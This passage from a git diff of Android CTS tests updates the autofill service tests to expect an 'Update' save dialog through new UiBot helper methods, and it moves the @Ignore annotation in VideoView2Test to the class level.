+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "Shelbyville");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+ "Yellow");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index eb59da4..673d13d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -122,7 +122,7 @@
mActivity.mPassword.setText("PASS");
mActivity.mCommit.performClick();
});
- final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+ final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
// Save it...
mUiBot.saveForAutofill(saveUi, true);
@@ -177,7 +177,7 @@
input.setText("ID");
password.setText("PASS");
mUiBot.assertShownByRelativeId(ID_COMMIT).click();
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
// ... and assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -797,7 +797,7 @@
mActivity.mPassword.setText("PASS");
mActivity.mCommit.performClick();
});
- final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+ final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
// Save it...
mUiBot.saveForAutofill(saveUi, true);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
index 4bd8cf0..16973f0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/TimePickerTestCase.java
@@ -81,7 +81,7 @@
activity.setTime(10, 40);
activity.tapOk();
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index 5eefb0d..6f8979f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -74,6 +74,7 @@
private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
+ private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -87,6 +88,11 @@
"autofill_save_type_email_address";
private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+ private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
+ private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
+ private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
+ private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
+ "autofill_update_title_with_type";
private static final String RESOURCE_STRING_AUTOFILL = "autofill";
private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
@@ -437,6 +443,14 @@
}
/**
+ * Asserts the save snackbar is showing with the Update message and returns it.
+ */
+ UiObject2 assertUpdateShowing(int... types) throws Exception {
+ return assertSaveOrUpdateShowing(/* update= */ true, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+ null, SAVE_TIMEOUT, types);
+ }
+
+ /**
* Presses the Back button.
*/
void pressBack() {
@@ -484,23 +498,25 @@
}
UiObject2 assertSaveShowing(String description, int... types) throws Exception {
- return assertSaveShowing(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, description,
- SAVE_TIMEOUT, types);
+ return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+ description, SAVE_TIMEOUT, types);
}
UiObject2 assertSaveShowing(String description, Timeout timeout, int... types)
throws Exception {
- return assertSaveShowing(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, description, timeout,
- types);
+ return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
+ description, timeout, types);
}
UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
int... types) throws Exception {
- return assertSaveShowing(negativeButtonStyle, description, SAVE_TIMEOUT, types);
+ return assertSaveOrUpdateShowing(/* update= */ false, negativeButtonStyle, description,
+ SAVE_TIMEOUT, types);
}
- UiObject2 assertSaveShowing(int negativeButtonStyle, String description, Timeout timeout,
- int... types) throws Exception {
+
+ UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle, String description,
+ Timeout timeout, int... types) throws Exception {
final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
final UiObject2 titleView =
@@ -516,13 +532,21 @@
final String actualTitle = titleView.getText();
Log.d(TAG, "save title: " + actualTitle);
+ final String titleId, titleWithTypeId;
+ if (update) {
+ titleId = RESOURCE_STRING_UPDATE_TITLE;
+ titleWithTypeId = RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE;
+ } else {
+ titleId = RESOURCE_STRING_SAVE_TITLE;
+ titleWithTypeId = RESOURCE_STRING_SAVE_TITLE_WITH_TYPE;
+ }
+
final String serviceLabel = InstrumentedAutoFillService.getServiceLabel();
switch (types.length) {
case 1:
final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
- ? Html.fromHtml(getString(RESOURCE_STRING_SAVE_TITLE,
- serviceLabel), 0).toString()
- : Html.fromHtml(getString(RESOURCE_STRING_SAVE_TITLE_WITH_TYPE,
+ ? Html.fromHtml(getString(titleId, serviceLabel), 0).toString()
+ : Html.fromHtml(getString(titleWithTypeId,
getSaveTypeString(types[0]), serviceLabel), 0).toString();
assertThat(actualTitle).isEqualTo(expectedTitle);
break;
@@ -546,6 +570,14 @@
assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
}
+ final String positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
+ : RESOURCE_STRING_SAVE_BUTTON_YES;
+ final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
+ final UiObject2 positiveButton = waitForObject(snackbar,
+ By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
+ assertWithMessage("wrong text on positive button")
+ .that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
+
final String negativeButtonStringId =
(negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
@@ -575,6 +607,11 @@
saveForAutofill(saveSnackBar, yesDoIt);
}
+ public void updateForAutofill(boolean yesDoIt, int... types) throws Exception {
+ final UiObject2 saveUi = assertUpdateShowing(types);
+ saveForAutofill(saveUi, yesDoIt);
+ }
+
/**
* Taps an option in the save snackbar.
*
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 8623967..e26d5c9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -297,7 +297,7 @@
mActivity.getLoginButton(mUiBot).click();
// Assert save UI shown.
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -414,7 +414,7 @@
mActivity.getLoginButton(mUiBot).click();
// Assert save UI shown.
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
// Assert results
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
diff --git a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
index ab082fb..3043f45 100644
--- a/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
+++ b/tests/tests/widget/src/android/widget/cts/VideoView2Test.java
@@ -60,6 +60,7 @@
/**
* Test {@link VideoView2}.
*/
+@Ignore
@LargeTest
@RunWith(AndroidJUnit4.class)
public class VideoView2Test {
@@ -142,7 +143,6 @@
@UiThreadTest
@Test
- @Ignore
public void testConstructor() {
new VideoView2(mActivity);
new VideoView2(mActivity, null);
@@ -150,7 +150,6 @@
}
@Test
- @Ignore
public void testPlayVideo() throws Throwable {
// Don't run the test if the codec isn't supported.
if (!hasCodec()) {
@@ -174,7 +173,6 @@
}
@Test
- @Ignore
public void testPlayVideoOnTextureView() throws Throwable {
// Don't run the test if the codec isn't supported.
if (!hasCodec()) {